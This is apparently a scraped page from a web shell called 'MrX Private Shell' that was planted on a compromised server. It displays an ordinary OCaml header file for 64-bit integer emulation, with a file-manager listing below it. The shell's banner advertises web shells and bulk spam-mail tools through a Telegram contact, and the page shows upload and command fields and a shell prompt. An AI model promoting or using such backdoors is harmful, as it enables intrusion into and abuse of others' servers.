__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

kentishfootball@216.73.216.211: ~ $
/**************************************************************************/
/*                                                                        */
/*                                 OCaml                                  */
/*                                                                        */
/*             Xavier Leroy, projet Cristal, INRIA Rocquencourt           */
/*                                                                        */
/*   Copyright 2002 Institut National de Recherche en Informatique et     */
/*     en Automatique.                                                    */
/*                                                                        */
/*   All rights reserved.  This file is distributed under the terms of    */
/*   the GNU Lesser General Public License version 2.1, with the          */
/*   special exception on linking described in the file LICENSE.          */
/*                                                                        */
/**************************************************************************/

/* Software emulation of 64-bit integer arithmetic, for C compilers
   that do not support it.  */

#ifndef CAML_INT64_EMUL_H
#define CAML_INT64_EMUL_H

#ifdef CAML_INTERNALS

#include <math.h>

#ifdef ARCH_BIG_ENDIAN
#define I64_literal(hi,lo) { hi, lo }
#else
#define I64_literal(hi,lo) { lo, hi }
#endif

#define I64_split(x,hi,lo) (hi = (x).h, lo = (x).l)

/* Unsigned comparison */
static int I64_ucompare(uint64_t x, uint64_t y)
{
  if (x.h > y.h) return 1;
  if (x.h < y.h) return -1;
  if (x.l > y.l) return 1;
  if (x.l < y.l) return -1;
  return 0;
}

#define I64_ult(x, y) (I64_ucompare(x, y) < 0)

/* Signed comparison */
static int I64_compare(int64_t x, int64_t y)
{
  if ((int32_t)x.h > (int32_t)y.h) return 1;
  if ((int32_t)x.h < (int32_t)y.h) return -1;
  if (x.l > y.l) return 1;
  if (x.l < y.l) return -1;
  return 0;
}

/* Negation */
static int64_t I64_neg(int64_t x)
{
  int64_t res;
  res.l = -x.l;
  res.h = ~x.h;
  if (res.l == 0) res.h++;
  return res;
}

/* Addition */
static int64_t I64_add(int64_t x, int64_t y)
{
  int64_t res;
  res.l = x.l + y.l;
  res.h = x.h + y.h;
  if (res.l < x.l) res.h++;
  return res;
}

/* Subtraction */
static int64_t I64_sub(int64_t x, int64_t y)
{
  int64_t res;
  res.l = x.l - y.l;
  res.h = x.h - y.h;
  if (x.l < y.l) res.h--;
  return res;
}

/* Multiplication */
static int64_t I64_mul(int64_t x, int64_t y)
{
  int64_t res;
  uint32_t prod00 = (x.l & 0xFFFF) * (y.l & 0xFFFF);
  uint32_t prod10 = (x.l >> 16) * (y.l & 0xFFFF);
  uint32_t prod01 = (x.l & 0xFFFF) * (y.l >> 16);
  uint32_t prod11 = (x.l >> 16) * (y.l >> 16);
  res.l = prod00;
  res.h = prod11 + (prod01 >> 16) + (prod10 >> 16);
  prod01 = prod01 << 16; res.l += prod01; if (res.l < prod01) res.h++;
  prod10 = prod10 << 16; res.l += prod10; if (res.l < prod10) res.h++;
  res.h += x.l * y.h + x.h * y.l;
  return res;
}

#define I64_is_zero(x) (((x).l | (x).h) == 0)
#define I64_is_negative(x) ((int32_t) (x).h < 0)
#define I64_is_min_int(x) ((x).l == 0 && (x).h == 0x80000000U)
#define I64_is_minus_one(x) (((x).l & (x).h) == 0xFFFFFFFFU)

/* Bitwise operations */
static int64_t I64_and(int64_t x, int64_t y)
{
  int64_t res;
  res.l = x.l & y.l;
  res.h = x.h & y.h;
  return res;
}

static int64_t I64_or(int64_t x, int64_t y)
{
  int64_t res;
  res.l = x.l | y.l;
  res.h = x.h | y.h;
  return res;
}

static int64_t I64_xor(int64_t x, int64_t y)
{
  int64_t res;
  res.l = x.l ^ y.l;
  res.h = x.h ^ y.h;
  return res;
}

/* Shifts */
static int64_t I64_lsl(int64_t x, int s)
{
  int64_t res;
  s = s & 63;
  if (s == 0) return x;
  if (s < 32) {
    res.l = x.l << s;
    res.h = (x.h << s) | (x.l >> (32 - s));
  } else {
    res.l = 0;
    res.h = x.l << (s - 32);
  }
  return res;
}

static int64_t I64_lsr(int64_t x, int s)
{
  int64_t res;
  s = s & 63;
  if (s == 0) return x;
  if (s < 32) {
    res.l = (x.l >> s) | (x.h << (32 - s));
    res.h = x.h >> s;
  } else {
    res.l = x.h >> (s - 32);
    res.h = 0;
  }
  return res;
}

static int64_t I64_asr(int64_t x, int s)
{
  int64_t res;
  s = s & 63;
  if (s == 0) return x;
  if (s < 32) {
    res.l = (x.l >> s) | (x.h << (32 - s));
    res.h = (int32_t) x.h >> s;
  } else {
    res.l = (int32_t) x.h >> (s - 32);
    res.h = (int32_t) x.h >> 31;
  }
  return res;
}

/* Division and modulus */

#define I64_SHL1(x) x.h = (x.h << 1) | (x.l >> 31); x.l <<= 1
#define I64_SHR1(x) x.l = (x.l >> 1) | (x.h << 31); x.h >>= 1

static void I64_udivmod(uint64_t modulus, uint64_t divisor,
                        uint64_t * quo, uint64_t * mod)
{
  int64_t quotient, mask;
  int cmp;

  quotient.h = 0; quotient.l = 0;
  mask.h = 0; mask.l = 1;
  while ((int32_t) divisor.h >= 0) {
    cmp = I64_ucompare(divisor, modulus);
    I64_SHL1(divisor);
    I64_SHL1(mask);
    if (cmp >= 0) break;
  }
  while (mask.l | mask.h) {
    if (I64_ucompare(modulus, divisor) >= 0) {
      quotient.h |= mask.h; quotient.l |= mask.l;
      modulus = I64_sub(modulus, divisor);
    }
    I64_SHR1(mask);
    I64_SHR1(divisor);
  }
  *quo = quotient;
  *mod = modulus;
}

static int64_t I64_div(int64_t x, int64_t y)
{
  int64_t q, r;
  int32_t sign;

  sign = x.h ^ y.h;
  if ((int32_t) x.h < 0) x = I64_neg(x);
  if ((int32_t) y.h < 0) y = I64_neg(y);
  I64_udivmod(x, y, &q, &r);
  if (sign < 0) q = I64_neg(q);
  return q;
}

static int64_t I64_mod(int64_t x, int64_t y)
{
  int64_t q, r;
  int32_t sign;

  sign = x.h;
  if ((int32_t) x.h < 0) x = I64_neg(x);
  if ((int32_t) y.h < 0) y = I64_neg(y);
  I64_udivmod(x, y, &q, &r);
  if (sign < 0) r = I64_neg(r);
  return r;
}

/* Coercions */

static int64_t I64_of_int32(int32_t x)
{
  int64_t res;
  res.l = x;
  res.h = x >> 31;
  return res;
}

#define I64_to_int32(x) ((int32_t) (x).l)

/* Note: we assume sizeof(intnat) = 4 here, which is true otherwise
   autoconfiguration would have selected native 64-bit integers */
#define I64_of_intnat I64_of_int32
#define I64_to_intnat I64_to_int32

static double I64_to_double(int64_t x)
{
  double res;
  int32_t sign = x.h;
  if (sign < 0) x = I64_neg(x);
  res = ldexp((double) x.h, 32) + x.l;
  if (sign < 0) res = -res;
  return res;
}

static int64_t I64_of_double(double f)
{
  int64_t res;
  double frac, integ;
  int neg;

  neg = (f < 0);
  f = fabs(f);
  frac = modf(ldexp(f, -32), &integ);
  res.h = (uint32_t) integ;
  res.l = (uint32_t) ldexp(frac, 32);
  if (neg) res = I64_neg(res);
  return res;
}

static int64_t I64_bswap(int64_t x)
{
  int64_t res;
  res.h = (((x.l & 0x000000FF) << 24) |
           ((x.l & 0x0000FF00) << 8) |
           ((x.l & 0x00FF0000) >> 8) |
           ((x.l & 0xFF000000) >> 24));
  res.l = (((x.h & 0x000000FF) << 24) |
           ((x.h & 0x0000FF00) << 8) |
           ((x.h & 0x00FF0000) >> 8) |
           ((x.h & 0xFF000000) >> 24));
  return res;
}

#endif /* CAML_INTERNALS */

#endif /* CAML_INT64_EMUL_H */

Filemanager

Name Type Size Permission Actions
address_class.h File 3.22 KB 0644
alloc.h File 3.27 KB 0644
backtrace.h File 5.42 KB 0644
backtrace_prim.h File 3.53 KB 0644
bigarray.h File 4.75 KB 0644
callback.h File 2.41 KB 0644
compact.h File 1.34 KB 0644
compare.h File 1.22 KB 0644
compatibility.h File 12.92 KB 0644
config.h File 7.75 KB 0644
custom.h File 2.65 KB 0644
debugger.h File 4.95 KB 0644
dynlink.h File 1.87 KB 0644
exec.h File 2.39 KB 0644
fail.h File 3.86 KB 0644
finalise.h File 1.6 KB 0644
fix_code.h File 1.79 KB 0644
freelist.h File 1.56 KB 0644
gc.h File 3.45 KB 0644
gc_ctrl.h File 2.04 KB 0644
globroots.h File 1.37 KB 0644
hash.h File 1.64 KB 0644
hooks.h File 1.48 KB 0644
instrtrace.h File 1.51 KB 0644
instruct.h File 2.77 KB 0644
int64_emul.h File 6.77 KB 0644
int64_format.h File 3.57 KB 0644
int64_native.h File 2.98 KB 0644
interp.h File 1.57 KB 0644
intext.h File 7.79 KB 0644
io.h File 5.02 KB 0644
jumptbl.h File 2.39 KB 0644
major_gc.h File 3.31 KB 0644
md5.h File 1.96 KB 0644
memory.h File 17.13 KB 0644
minor_gc.h File 4.36 KB 0644
misc.h File 14.2 KB 0644
mlvalues.h File 12.23 KB 0644
osdeps.h File 4.37 KB 0644
prims.h File 1.57 KB 0644
printexc.h File 1.37 KB 0644
reverse.h File 5.65 KB 0644
roots.h File 1.92 KB 0644
signals.h File 2.32 KB 0644
signals_machdep.h File 2.47 KB 0644
socketaddr.h File 2.16 KB 0644
spacetime.h File 8.37 KB 0644
stack.h File 4.53 KB 0644
stacks.h File 1.79 KB 0644
startup.h File 2.12 KB 0644
startup_aux.h File 1.6 KB 0644
sys.h File 1.63 KB 0644
threads.h File 3.12 KB 0644
ui.h File 1.44 KB 0644
unixsupport.h File 1.95 KB 0644
version.h File 193 B 0644
weak.h File 3.05 KB 0644
Filemanager